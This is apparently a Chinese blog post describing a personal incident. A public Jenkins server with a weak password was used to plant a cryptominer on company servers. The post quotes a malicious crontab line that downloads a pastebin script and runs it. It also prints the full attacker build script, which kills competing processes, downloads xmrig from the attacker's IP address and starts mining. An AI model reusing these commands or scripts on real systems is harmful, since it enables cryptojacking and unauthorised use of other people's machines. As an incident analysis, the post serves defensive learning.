记一次比特币病毒木马事件
这两天开发同事突然反应代码无法上线,经排查是阿里云服务器不能正常git pull 代码.
开始排查.记录如下.
排查git
第一感觉就是可能git问题,代码冲突.
- 1.手动pull
结果 :连接超时.
2.ping git.xxx.com
git.xxx.com 我们自建的git服务器,
结果:git服务器正常.
百思不得骑姐,本地git正常使用,其它服务器也正常使用.为什么从这台服务器访问不了22端口呢?
考虑: 1,被git服务器防火墙加黑名单;2,这两天阿里云服务器抽风.
主观直觉都是把坑扔给别人,谁让你们阿里云可用9999的.3.排查git服务器
关闭访问墙,查看黑名单都没有异常.因为git服务器是自建在内网.
怀疑是联通又把我们的端口封了,这种事经常有.
但使用外网其它服务器访问,都正常.所有把联通排除了.
结论: git服务器正常.
所有矛头都指向了阿里云
但在前一台晚上,重启一下服务器,竟然正常了.
你说,阿里不背这个锅,谁背.
今天也出问题了,也同样重启,发现不好使.
想前几天阿里云监控报警短信,可能我们的服务器真的出问题了.
第一感觉,我们没问题,是配置出问题了.于是乎,打开安全配置.
公网出,全OK.
才想起来看消息,通知.
妈呀,这是要炸啊!打开其中一条.
阿里云把我们的对外22端口屏蔽了.怪不得安全设置都各种没有发现问题.原来是我们服务器在攻击了别人呀.
就是中病毒了呗.
查毒
进入服务器,病毒或木马最喜欢做的一件事,写定时脚本1
crontab -e
妈呀,一条自动任务,在下载脚本运行呐1
*/15 * * * * (curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh
- 先看文件是啥
又下载另一个脚本,脚本内容长这样子
1 | export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin |
就是下载脚本和文件,没有安装crontab就自动帮你安装,添加免密码登录等等.
那么 https://pastebin.com/ 是什么网站?
就是一个可以匿名在线使用的代码风格化工具,肯定木马使用者不会傻到拿自己服务器作脚本下载的.
为什么是这个网站呢?
1.可以匿名,记得国内有用豆瓣网做脚本的,查不到就怪了.
2.可以使用Raw源代码输出;
随便一个人都可以在线写东西.
所有到这里,基本上是找不到任何有用的东西.
找根源
这脚本怎么来的?难道我们root密码泄漏了么?
之前xshell被种后门,记忆犹新.我们也中招过.
但怀疑是怀疑还得有根据.
清空crontab后,又几分钟自动创建,完全清不掉呐.
- 查看对外网络情况
1
netstat
段错误,显示不全,这个netstat 可能查不了.
换个方向,使用ss命令1
ss
有两个明显的不熟悉的IP地址,因为我们服务IP地址少,一眼就能看出来异类的.
193.56.28.19
134.209.104.20
这些端口都在变化,随机的:
找到一个 1
2
3
4
5

查看一下进程.
关键字 trace
./trace1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84搜索一下文件

这不是jenkins的工作目录么.
到这里我已经清楚来源了.
jenkins是我布署的,我很清楚他的危害,想考侥幸混过去,等闲下来再去整理,没想到来得那么快.
## Jenkins 自食其恶果

登录jenkins后台,第一个任务就是这玩意,左下角任务不停的运行着.

我们看一下,他都执行什么脚本.
触发器

每分钟运行一次,"H" 表示,hash.意思尽可能在每分钟内执行一个Job.执行完成,等下一分钟.
看一下构建脚本

贴一个完整的
```bash
#!/bin/bash
if [[ $(whoami) != "root" ]]; then
for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
kill -9 $tr || : ;
done;
else
echo 128 > /proc/sys/vm/nr_hugepages;
sysctl -w vm.nr_hugepages=128;
fi
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";
_curl () {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
rm -rf config.json;
d () {
curl -L --insecure --connect-timeout 10 --max-time 55 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 55 --tries 2 $1 -O $2 2> /dev/null || _curl $1 > $2;
}
test ! -s trace && \
d http://193.56.28.19:52343/xmrig.tar.gz trace.tgz trace.tgz && \
tar -zxvf trace.tgz && \
mv xmrig trace && \
rm -rf trace.tgz;
test ! -x trace && chmod +x trace;
k() {
./trace \
-r 2 \
-R 2 \
--keepalive \
--no-color \
--nicehash \
--donate-level 0 \
--cpu-priority 3 \
--print-time 10 \
--threads ${threadCount:-4} \
--url $1 \
--user P \
--pass X \
--keepalive
}
k 193.56.28.19:8080 || k 193.56.28.19:8080
开启代理服务这些都不是关键,关键是
下载http://193.56.28.19:52343/xmrig.tar.gz
这个文件.
xmrig查一下就知道
这个就是比特币病毒.
至此就结束了,剩下就是清空病毒,修改系统,最简单的方法,利用阿里云的镜像加回滚.
关于我们jenkin问题:
- 为了方便远程,我开启了公网访问
- 最关键还被搜索引擎收录了
- 管理员密码太简单了
- 为了方便运行脚本,把Jenkins的运行权限设太高
- jenkin连接着所有服务器,攻破它就相当于攻破了城堡.
本文作者:阿金
本文链接:http://www.hi-arkin.com/2019/03/08/DevOps/xmrig_script/
版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!
扫描二维码,分享此文章